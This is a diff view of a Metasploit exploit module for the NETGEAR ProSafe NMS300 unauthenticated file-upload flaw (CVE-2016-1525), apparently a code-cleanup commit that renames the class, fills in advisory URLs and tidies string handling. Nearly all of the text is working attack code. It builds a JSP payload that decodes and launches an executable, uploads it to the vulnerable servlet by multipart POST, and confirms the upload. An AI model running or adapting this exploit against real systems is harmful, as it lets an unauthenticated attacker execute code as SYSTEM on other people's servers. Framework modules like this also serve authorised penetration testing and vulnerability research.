5
5
6
6
require 'msf/core'
7
7
8
- class Metasploit3 < Msf ::Exploit ::Remote
8
+ class Metasploit4 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
@@ -15,13 +15,13 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload' ,
17
17
'Description' => %q{
18
- Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
19
- The application has a file upload vulnerability that can be exploited by an
20
- unauthenticated remote attacker to execute code as the SYSTEM user.
21
- Two servlets are vulnerable, FileUploadController (located at
22
- /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
23
- This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
24
- 1.1.0.13.
18
+ Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
19
+ The application has a file upload vulnerability that can be exploited by an
20
+ unauthenticated remote attacker to execute code as the SYSTEM user.
21
+ Two servlets are vulnerable, FileUploadController (located at
22
+ /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
23
+ This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
24
+ 1.1.0.13.
25
25
} ,
26
26
'Author' =>
27
27
[
@@ -32,8 +32,8 @@ def initialize(info = {})
32
32
[
33
33
[ 'CVE' , '2016-1525' ] ,
34
34
[ 'US-CERT-VU' , '777024' ] ,
35
- [ 'URL' , 'TODO_GITHUB_URL ' ] ,
36
- [ 'URL' , 'TODO_FULLDISC_URL ' ]
35
+ [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt ' ] ,
36
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2016/Feb/30 ' ]
37
37
] ,
38
38
'DefaultOptions' => { 'WfsDelay' => 5 } ,
39
39
'Platform' => 'win' ,
@@ -60,9 +60,9 @@ def check
60
60
'method' => 'GET'
61
61
} )
62
62
if res && res . code == 405
63
- return Exploit ::CheckCode ::Detected
63
+ Exploit ::CheckCode ::Detected
64
64
else
65
- return Exploit ::CheckCode ::Safe
65
+ Exploit ::CheckCode ::Safe
66
66
end
67
67
end
68
68
@@ -72,13 +72,13 @@ def generate_jsp_payload
72
72
base64_exe = Rex ::Text . encode_base64 ( exe )
73
73
payload_name = rand_text_alpha ( rand ( 6 ) +3 )
74
74
75
- var_raw = rand_text_alpha ( rand ( 8 ) + 3 )
76
- var_ostream = rand_text_alpha ( rand ( 8 ) + 3 )
77
- var_buf = rand_text_alpha ( rand ( 8 ) + 3 )
78
- var_decoder = rand_text_alpha ( rand ( 8 ) + 3 )
79
- var_tmp = rand_text_alpha ( rand ( 8 ) + 3 )
80
- var_path = rand_text_alpha ( rand ( 8 ) + 3 )
81
- var_proc2 = rand_text_alpha ( rand ( 8 ) + 3 )
75
+ var_raw = 'a' + rand_text_alpha ( rand ( 8 ) + 3 )
76
+ var_ostream = 'b' + rand_text_alpha ( rand ( 8 ) + 3 )
77
+ var_buf = 'c' + rand_text_alpha ( rand ( 8 ) + 3 )
78
+ var_decoder = 'd' + rand_text_alpha ( rand ( 8 ) + 3 )
79
+ var_tmp = 'e' + rand_text_alpha ( rand ( 8 ) + 3 )
80
+ var_path = 'f' + rand_text_alpha ( rand ( 8 ) + 3 )
81
+ var_proc2 = 'e' + rand_text_alpha ( rand ( 8 ) + 3 )
82
82
83
83
jsp = %Q|
84
84
<%@page import="java.io.*"%>
@@ -102,10 +102,7 @@ def generate_jsp_payload
102
102
%>
103
103
|
104
104
105
- jsp = jsp . gsub ( /\n / , '' )
106
- jsp = jsp . gsub ( /\t / , '' )
107
- jsp = jsp . gsub ( /\x0d \x0a / , "" )
108
- jsp = jsp . gsub ( /\x0a / , "" )
105
+ jsp . gsub! ( /[\n \t \r ]/ , '' )
109
106
110
107
return jsp
111
108
end
@@ -115,9 +112,9 @@ def exploit
115
112
jsp_payload = generate_jsp_payload
116
113
117
114
jsp_name = Rex ::Text . rand_text_alpha ( 8 +rand ( 8 ) )
118
- jsp_full_name = "null" + jsp_name + " .jsp"
115
+ jsp_full_name = "null#{ jsp_name } .jsp"
119
116
post_data = Rex ::MIME ::Message . new
120
- post_data . add_part ( jsp_name , nil , nil , " form-data; name=\ " name\" " )
117
+ post_data . add_part ( jsp_name , nil , nil , ' form-data; name="name"' )
121
118
post_data . add_part ( jsp_payload ,
122
119
"application/octet-stream" , 'binary' ,
123
120
"form-data; name=\" Filedata\" ; filename=\" #{ Rex ::Text . rand_text_alpha ( 6 +rand ( 10 ) ) } .jsp\" " )
@@ -130,7 +127,7 @@ def exploit
130
127
'data' => data ,
131
128
'ctype' => "multipart/form-data; boundary=#{ post_data . bound } "
132
129
} )
133
- if res && res . code == 200 && res . body . to_s =~ /{"success":true, "file":"#{ jsp_name + " .jsp"} " /
130
+ if res && res . code == 200 && res . body . to_s =~ /{"success":true, "file":"#{ jsp_name } .jsp"}/
134
131
print_status ( "#{ peer } - Payload uploaded successfully" )
135
132
else
136
133
fail_with ( Failure ::Unknown , "#{ peer } - Payload upload failed" )
0 commit comments